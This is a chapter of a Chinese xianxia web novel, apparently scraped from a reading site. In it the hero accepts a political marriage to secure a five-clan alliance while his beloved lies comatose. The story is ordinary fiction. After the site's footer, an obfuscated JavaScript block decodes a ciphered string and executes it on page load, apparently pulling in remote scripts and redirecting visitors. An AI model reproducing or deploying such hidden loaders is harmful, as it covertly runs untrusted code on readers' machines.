    “诸位前辈,晴雪伤势紧急,对抗‘局’主亦刻不容缓。我意已决,稍作休整,便整合五部之力,直捣黄龙,攻上‘局’之老巢,逼‘局’主现形,与他做最后了断!届时,或可寻得救治晴雪所需之物!”张良辰环视众人,斩钉截铁道。
    “好!正该如此!”金无敌第一个响应,“那‘局’主倒行逆施,早已是天怒人怨!如今张公子神功大成,又有我五部联军,正当一举铲除此獠,还洞真天清明!”
    “我等愿追随张公子,诛灭‘局’主!”木青青、水无痕、厚德尊者、风部大长老齐声应和,声震四野。三千联军亦士气高昂,齐声怒吼。
    见众人同仇敌忾,张良辰心中稍定。他看了一眼怀中光茧内依旧昏迷的苏晴雪,眼中柔情与决绝交织。晴雪,等我,我一定会救你,也一定会终结这一切。
    “传令下去,全军休整三日,治疗伤患,巩固修为。三日后,兵发‘局’之老巢——‘天外天’!”
    “谨遵盟主之令!”
    然而,就在这时,木部之主木青青,这位气质温婉、宛如林中仙子的化神巅峰女修,却忽然上前一步,脸上露出一丝欲言又止的迟疑,看了看张良辰,又看了看他怀中的苏晴雪,最后转向金无敌等人,似乎暗中传音交流了几句。
    金无敌眉头微皱,沉吟片刻,看向张良辰,开口道:“张公子,征讨‘局’主,我五部自当戮力同心,绝无二话。不过……在此之前,关于五部联盟,还有一事,需与张公子商议。”
    张良辰此刻心系苏晴雪,又想着尽快讨伐“局”主,闻言道:“金前辈但说无妨,只要是能增强联盟实力,对抗‘局’主之事,张某无有不从。”
    金无敌与木青青等人对视一眼,似是下定了决心,缓缓道:“张公子,五部联盟,共抗强敌,自是义之所在。然,联盟虽成,却终究是五家合力,各有统属,难免有号令不一、人心浮动之时。尤其面对‘局’主那等大敌,任何一点内部的不谐,都可能是致命的破绽。”
    张良辰眉头微蹙,隐隐猜到了什么:“金前辈的意思是?”
    金无敌目光转向木青青。木青青轻叹一声,上前一步,看着张良辰,语气温和却带着一丝不容置疑的认真:“张公子,为巩固联盟,使五部真正如同一家,令出必行,我木部,愿与公子结为秦晋之好。我有一侄女,名唤木婉清,乃是我兄长遗孤,自幼由我抚养长大,容貌品行、修炼天赋皆是上上之选,年方二八,已至元婴中期。若公子不弃,木部愿以婉清嫁与公子为道侣,如此,木部与公子便是一家人,木部上下,必誓死追随公子,绝无二心!”
    联姻?!
    此言一出,不仅是张良辰愣住了,他身后的柳如烟、李小胖、周若兰等人也全都愕然,随即脸色变得古怪起来。墨影和影虽然面无表情,但眼神也微微闪动。三千联军中更是响起了一阵压抑的嗡嗡议论声。
    张良辰下意识地抱紧了怀中的苏晴雪,那金色光茧似乎都微微波动了一下。他看向木青青,又看向金无敌、玄冥尊者、厚德尊者,见他们神色虽然略有不同,但显然对此事是知晓并默许的。风部大长老则微微皱眉,似乎有些意外,但并未出声反对。
    “木前辈,”张良辰深吸一口气,压下心中的荒谬与一丝怒意,尽量让声音保持平稳,“前辈与诸位前辈厚爱,张某心领。然,张某心中唯有晴雪一人,此生绝不负她。况且,晴雪为我重伤至此,性命垂危,我若在此刻另娶他人,与禽兽何异?此事,恕难从命。”
    他的拒绝干脆利落,没有丝毫转圜余地。
    木青青似乎料到他会有此反应,并不意外,只是温声道:“张公子对苏姑娘情深义重,我等钦佩。然,公子也需为大局着想。苏姑娘如今昏迷不醒,生死难料,即便公子他日寻得神物救回苏姑娘,也需时间。而对抗‘局’主,迫在眉睫。联姻之事,并非要公子忘却苏姑娘,只是一桩名分,一个象征,以此彻底绑定我木部,乃至给其余三部一个明确的信号,使五部真正融为一体,再无猜忌。至于婉清那孩子,我自会与她分说,她亦深明大义,绝不会与苏姑娘争宠,只求一个名分,为联盟尽一份力罢了。”
    “荒谬!”张良辰尚未开口,一旁的柳如烟却已忍不住,俏脸含霜,怒声道,“木部主!苏师妹为救大家,燃烧本源,几乎身死道消!如今昏迷不醒,你们便逼张师弟娶妻?这是什么道理?联盟难道非要靠一桩婚事来维系?张师弟以值符传人之身,率我等连破强敌,更是亲手斩杀第三巡天使,此等威望,难道还不够让五部归心?何须用此等儿女婚事来捆绑?你们将苏师妹置于何地?又将张师弟当成什么了?”
    柳如烟一番话说得又快又急,言辞犀利,丝毫不给木青青这位化神巅峰面子。木青青脸色微微一变,但并未动怒,只是轻轻一叹:“柳师侄爱妹心切,所言亦有理。只是……人心复杂,并非所有人都能如师侄这般赤诚。值此生死存亡之际,任何能增强凝聚力、减少内耗的可能,都值得考虑。联姻,古已有之,是最直接有效的方式。”
    金无敌也沉声道:“张公子,木部主所言,虽有些直接,但确是为大局计。五部联盟,看似稳固,实则内部各有心思。我与木、水、土三部,与风部虽有旧谊,但终究分属不同。公子虽得值符传承,实力威望无两,然终究是外姓之人。若有联姻这层关系,公子便是我等自家人,届时整合五部之力,方能如臂使指,对抗‘局’主时,也更能上下一心。此非私情,实乃公义。还望公子三思。”
    玄冥尊者和厚德尊者虽未说话,但看神色,显然是赞同此议。风部大长老眉头紧锁,此事涉及张良辰,他虽是风部大长老,却也不好强行干涉。
    气氛一时有些僵持。张良辰抱着苏晴雪,站在那里,只觉得怀中的身躯是如此的冰凉,而耳边的话语又是如此的刺耳。他理解金无敌他们的顾虑,在修真界,联姻确实是巩固联盟最常见、最有效的手段之一。但让他为了所谓的“大局”,在苏晴雪为他付出一切、生死未卜之时,去娶另一个女人,哪怕只是名义上的,他也绝对做不到!这不仅是对苏晴雪的背叛,也是对他自己内心的背叛!
    就在他准备再次严词拒绝,甚至不惜以退出联盟相胁之时——
    “咳……咳咳……”
    一阵微弱到几乎听不见的咳嗽声,忽然从怀中那金色的光茧中传出。
    声音虽轻,但在场皆是修为高深之辈,自然听得清清楚楚。
    张良辰浑身剧震,猛地低头看去。
    只见光茧之中,一直昏迷不醒的苏晴雪,长长的睫毛轻轻颤动了几下,竟然……缓缓地,睁开了眼睛。
    她的眼神依旧涣散,没有焦距,脸色苍白得近乎透明,气息微弱得如同游丝。但她的眼睛,确确实实睁开了,并且,似乎恢复了一丝意识。
    “晴雪!你醒了?”张良辰又惊又喜,连忙俯身,声音轻柔得如同怕惊扰了一场美梦。
    苏晴雪的眼珠极其缓慢地转动了一下,似乎用了很大的力气,才勉强将视线聚焦在张良辰脸上。她张了张嘴,却发不出任何声音,只是嘴唇翕动了几下。
    张良辰连忙将耳朵凑近。
    “……联……姻……”极其细微、断断续续的两个字,从她干裂的唇间溢出。
    张良辰身体猛地一僵。
    苏晴雪看着他,那涣散的冰蓝色眼眸中,努力凝聚起一点微弱的光芒,那光芒中,没有责怪,没有愤怒,只有一片近乎空洞的平静,以及一丝……难以言喻的哀伤和了然。她似乎想扯动嘴角,露出一个笑容,却终究没能成功。
    然后,她极其缓慢地,极其艰难地,对着张良辰,几不可察地,点了一下头。
    尽管幅度小到几乎看不见,但那确实是一个点头的动作。
    张良辰如遭雷击,愣在当场。他读懂了苏晴雪的意思——她,同意了。
    她听到了刚才的对话,在如此虚弱、意识模糊的情况下,她竟然……同意了木青青的联姻提议?
    为什么?
    是因为觉得自己命不久矣,不想拖累他?
    还是因为她觉得,这确实是巩固联盟、增加胜算的最好办法?
    抑或是……两者皆有?
    巨大的痛楚和酸涩涌上心头,让张良辰几乎无法呼吸。他看着苏晴雪那平静到近乎死寂的眼神,看着那微不可察的点头,只觉得心脏像是被一只无形的手狠狠攥住,痛得他浑身发冷。
    苏晴雪看着他眼中的痛苦和难以置信,那冰蓝色的眼眸中,似乎闪过一丝极淡的、几乎无法察觉的心疼。她再次动了动嘴唇,无声地,说了几个字。
    张良辰看懂了。
    她说的是:“大局……为重。”
    泪水,瞬间模糊了张良辰的视线。这个在八门禁地中历经生死不曾落泪,在面对第三巡天使时悍然搏杀不曾畏惧的男人,此刻,却因为怀中女子无声的几个字,而泪流满面。
    他紧紧抱住苏晴雪,将脸埋在她冰凉的颈窝,肩膀微微颤抖。
    周围一片死寂。所有人都看到了苏晴雪苏醒,看到了她无声的言语,看到了张良辰的泪水。柳如烟捂住嘴,眼泪夺眶而出。李小胖等人也红了眼眶,偏过头去。金无敌、木青青等人神色复杂,既有计划得逞的如释重负,也有一丝不易察觉的愧疚。
    良久,张良辰抬起头,脸上泪痕未干,但眼神已恢复了冰冷。他看向木青青,又缓缓扫过金无敌、玄冥尊者、厚德尊者,声音沙哑,却带着一种斩钉截铁的决绝:
    “好。我答应。”
    木青青眼中闪过一丝喜色,但看到张良辰那冰冷的眼神和怀中昏迷的苏晴雪,这喜色又迅速淡去,化为一声几不可闻的叹息。
    “但是,”张良辰的声音继续响起,如同冰碴,“我有三个条件。”
    “张公子请讲。”木青青连忙道。
    “第一,”张良辰低头,温柔地看着怀中再次昏迷过去的苏晴雪,声音却冷硬如铁,“苏晴雪,是我此生唯一的道侣,无论生死,此心不变。木姑娘过门,只能是平妻,且需以道心立誓,绝不可对晴雪有丝毫不敬,更不可在我寻得救治之法、晴雪苏醒之前,有任何逾越之举。否则,我必亲手诛之,联盟之事,亦作罢论!”
    “平妻”之名,在修真界虽有,但极少。这已是张良辰能做的最大的让步和底线。
    木青青微微蹙眉,平妻……这有些出乎她的预料。但看到张良辰那不容置疑的眼神,又看了看他怀中气若游丝的苏晴雪,最终点了点头:“可。婉清那里,我去说。她是个懂事的孩子,必不会让公子为难。”
    “第二,”张良辰目光如刀,看向金无敌等人,“联姻只是名分,绝不影响我与晴雪之情,亦绝不可有损晴雪半分。若让我知晓,有人借此欺辱、慢待于她,休怪张某翻脸无情,值符之剑,不认盟友!”
    这话已是相当不客气,带着凛冽的杀意。金无敌等人面色微变,但想到张良辰此刻的心情和苏晴雪的付出,也只能点头:“张公子放心,苏姑娘为我等争取生机,我等感佩在心,绝无人敢对苏姑娘不敬。”
    “第三,”张良辰最后看向木青青,一字一句道,“婚事,从简。三日后,于风部举办。一应仪式,能省则省。我需尽快为晴雪寻药,亦需尽快整合力量,讨伐‘局’主,没时间在这些虚礼上浪费。”
    木青青犹豫了一下,婚礼从简,有些折损木部颜面。但看张良辰态度坚决,又想到眼下局势,最终也只能应下:“就依公子所言。”
    张良辰不再多言,抱着苏晴雪,转身,一步一步,朝着风部大军临时驻地走去。背影挺直,却带着一股难以言喻的孤寂与沉重。
    柳如烟、李小胖等人默默跟上,看向张良辰背影的目光,充满了心疼与担忧。金无敌等人相视无言,也各自散去,准备三日后的简单婚礼,以及随之而来的、对“局”的最终讨伐。
    谁也没有注意到,在张良辰转身的刹那,一滴滚烫的泪水,自他眼角滑落,滴落在苏晴雪苍白如纸的脸颊上,缓缓晕开。
    三日后,风部临时营地主帐,被简单装点出些许喜庆的红色。
    没有宾客如云,没有锣鼓喧天。只有五部核心高层寥寥数人见证。
    张良辰穿着一身临时找来的、并不合身的暗红色长袍,面无表情地站在帐中。他怀中,依旧抱着被金色光茧包裹、昏迷不醒的苏晴雪。
    木青青身旁,站着一位身穿淡绿色衣裙的少女。少女看起来不过十六七岁年纪,身姿窈窕,容颜清丽,气质温婉,如同空谷幽兰。她低垂着头,双手紧张地绞着衣角,偶尔偷偷抬眼看向前方那道挺拔却透着无尽孤寂与悲伤的青袍(红袍)身影,眼中闪过一丝好奇,一丝敬畏,也有一丝难以言喻的复杂。她便是木婉清,木青青的侄女,这场政治联姻的另一位主角。
    仪式简单到近乎潦草。
    “一拜天地。”担任司仪的风部大长老声音有些干涩。
    张良辰抱着苏晴雪,对着帐外虚空,微微躬身。木婉清在他身侧,也盈盈下拜。
    “二拜高堂。”高堂不在,只得对着虚空再拜。
    “夫妻对拜。”
    张良辰转过身,看着眼前这个陌生的、将成为他名义上妻子的少女。木婉清也抬起头,两人目光相接。张良辰的眼神,一片死寂的冰冷,没有半分新郎应有的喜悦或温情。木婉清被他看得心中一颤,连忙低下头,耳根微微泛红,也说不清是羞是怕。
    两人,对着彼此,躬身一拜。
    礼成。
    没有欢呼,没有祝福。帐内的气氛,沉重而压抑。
    “送入……洞房。”风部大长老艰难地说出最后四个字。
    所谓的“洞房”,不过是临时隔出的一个小小帐篷。张良辰抱着苏晴雪,径直走了进去。木婉清犹豫了一下,在木青青的眼神示意下,也低着头,跟了进去。
    帐篷很小,陈设简单。张良辰小心翼翼地将苏晴雪放在铺着柔软兽皮的简易床榻上,为她理了理额前散乱的灰白发丝,动作轻柔得仿佛在对待易碎的珍宝。然后,他走到帐篷角落,盘膝坐下,闭目调息,对跟进来的木婉清,视若无睹。
    木婉清站在帐篷门口,有些手足无措。她看着床榻上昏迷不醒、被金色光茧包裹的绝美女子,又看看角落里那个闭目不语、周身散发着生人勿近冰冷气息的红袍男子,心中五味杂陈。姑姑说,这是一场为了联盟、为了大局的联姻,让她不要有太多想法,只需做好木部女儿的本分。可当真正面对时,她还是感到一阵莫名的委屈和茫然。自己的一生,难道就要这样,和一个心里只有另一个女子的男人,绑在一起了吗?
    时间,在沉默中一点点流逝。红烛默默燃烧,滴下烛泪。
    不知过了多久,木婉清终于鼓足勇气,低声开口,声音细若蚊蚋:“张……张公子……我……我睡哪里?”
    张良辰没有睁眼,只是淡淡吐出两个字:“自便。”
    木婉清咬了咬嘴唇,看了看不大的帐篷,最终默默地走到另一边角落,靠着帐篷壁,抱膝坐下,将脸埋在膝盖里。无声的泪水,浸湿了裙摆。
    夜,深沉。
    张良辰始终闭目调息,但心神却无法宁静。苏晴雪微弱的气息,木婉清压抑的啜泣,白日里那场荒唐的婚礼,金无敌等人复杂的眼神,未来讨伐“局”主的重重险阻,救治苏晴雪的渺茫希望……种种思绪,如同乱麻,纠缠在他心头。
    晴雪,对不起……他在心中无声地说。但我会尽快结束这一切,然后,走遍天涯海角,寻得神物,救醒你。此生,绝不负你。
    还有你,木姑娘……对不起,利用了你。但,我无法给你任何承诺。待到一切尘埃落定,若你我皆还活着……我会给你自由。
    就在这死寂的沉默与各自的心事中,帐篷外,忽然传来一阵急促的脚步声,以及一个风部弟子惊慌失措、近乎变调的声音:
    “盟主!张公子!大事不好!天外天……天外天方向传来异动!有……有使者降临!自称奉‘局’主法旨,要……要见您!还说……还说带来了‘局’主的口信,关于……关于苏姑娘的!”
    什么?!
    帐篷内,张良辰猛地睁开双眼,眼中爆射出骇人的精光!一直假装调息的他,其实心神始终紧绷。角落里的木婉清也吓得抬起了头,泪眼朦胧。
    “局”主的使者?在这个节骨眼上?而且……还提到了晴雪?
    张良辰霍然起身,周身气息瞬间变得冰寒刺骨。他最后看了一眼床榻上依旧昏迷的苏晴雪,然后,毫不犹豫,大步踏出帐篷。
    “带路!”
    冰冷的两个字,带着压抑到极致的杀意,在夜风中弥漫开来。
    (第九十章完)
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();